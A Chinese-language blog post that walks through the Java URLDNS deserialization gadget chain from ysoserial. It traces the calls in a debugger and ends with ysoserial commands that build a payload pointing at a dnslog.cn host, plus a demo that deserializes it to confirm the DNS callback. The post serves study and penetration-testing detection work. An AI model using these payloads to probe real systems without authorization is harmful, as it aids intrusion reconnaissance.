JAVA反序列化链URLDNS分析
本文最后更新于 645 天前,其中的信息可能已经有所发展或是发生改变。

一、简介

URLDNS这条链,并不能用来执行其他命令来RCE,只能用来发送一次DNS请求到我们指定的网站上,然后我们就能查看是否有请求记录而来判断是否存在Java的反序列化漏洞。简短的来说:URLDNS只能用来探测和验证是否存在漏洞。看似没什么用,但其实在渗透测试的实战中,这种用DNS请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget还不需要任何其他的依赖,原生Java就能够成功调用成功。

二、流程分析

如上文所述,此Gadget不需要其他的以来,所以直接创建一个Java项目来进行测试。

为了方便的进行分析可以从github上下载ysoserial的源码来辅助理解此Gadget

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

1、基础理论

文件定位:ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java

部分payload如下:

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

注释中的Gadget调用顺序如下:

    Gadget Chain:
      HashMap.readObject()
        HashMap.putVal()
          HashMap.hash()
            URL.hashCode()

在正式的调试阅读源代码前,我们需要理解HashMap的大致原理

HashMap是一种为提升操作效率的数据结构,本质在使用上还是存取key-value键值对的使用方式,但是在实现上引入了key值的HASH映射到一维数组的形式来实现,再进入了链表来解决hash碰撞问题(不同的key映射到数组同一位置)。

从键值对的设置和读取两方面来解释:

设置新键值对 key-value:

  1. 计算key的hash:Hash(k)
  2. 通过Hash(k)映射到有限的数组a的位置i
  3. 在a[i]的位置存入value
  4. 因为把计算出来的不同的key的hash映射到有限的数组长度,肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value,就放入这个i位置后面对应的链表(根据多少的情况可能变为树)中。

读取key的value:

  1. 计算key的hash:Hash(k)
  2. 通过Hash(k)映射到有限的数组a的位置i
  3. 读取在a[i]的位置的value
  4. 如果发现a[i]已经有了其他key的value,就遍历这个i位置后面对应的链表(根据多少的情况可能变为树)去查找这个key再去取值。

2、断点调试

在了解了HashMap之后开始进行断点调试,在ht.put(u, url);处打上断点。

image-20220304094015989

Edit configurations中设置好参数,debug运行入口函数。

image-20220304093839223

首先ht对象的类为HashMap,其中存在有反序列化入口readObject()

readObject()中在最后调用了putVal()方法来进行了一次hash计算

image-20220304094325496

回到断点出跟进putVal()方法,可以看见keyvalue两个参数中都是传入我们设置的DNSLOG地址

image-20220304100230414

继续跟入hash()方法中

image-20220304101102870

hash()方法中传入的key肯定不会为null,会执行key.hashCode(),跟入其中

image-20220304102139758

image-20220304102241045

这里的handlerURLStreamHandler的对象,hashCode的值默认设置成了-1,所以直接调用了handler.hashCode()方法并重新赋值了hashCode并返回,继续跟进

image-20220304103012222

getProtocol()方法会返回传入的协议,如http

image-20220304103038029

在获取到协议后经过一次if判断后将protocol经过hashCode()方法计算后的返回值加到了h中,跟入hashCode()方法中

这里的hashCode()String中的方法,在进行了一系列的操作后将传入stringhash值返回回去。

image-20220304103541477

继续往下调用了getHostAddress()方法

image-20220304104619577

getHostAddress()中先后调用了getHost()getByName()两个方法,最终触发dnslog的位置即为getByName(getHost())来进行发送请求。

getByName()会根据host来确定主机名称的IP地址,这肯定会触发DNS请求。

image-20220304105445846

最终调用链如下:

HashMap.readObject() => HashMap.putVal() => HashMap.hash() => URL.hashCode() =>
URLStreamHandler.hashCode() => URLStreamHandler.hashCode().getHostAddress => URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName()

三、URLDNS链使用

将生成的序列化payload保存在一个txt里,后面用一个测试demo读取文件数据再给他反序列化一下,观察dnslog请求就可以了。

java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn" 
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn" > URLDNS.txt

image-20220304110001734

反序列化测试demo

package ysoserial.test;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class URLDNSTestDemo {
    public static void main(String[] args) throws Exception {

        FileInputStream fis = new FileInputStream("D:\\aq\\jarTools\\URLDNS.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        objectInputStream.readObject();
    }
}

运行一下demo

image-20220304110534378

成功在DNSlog获取到记录

image-20220304111001834

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇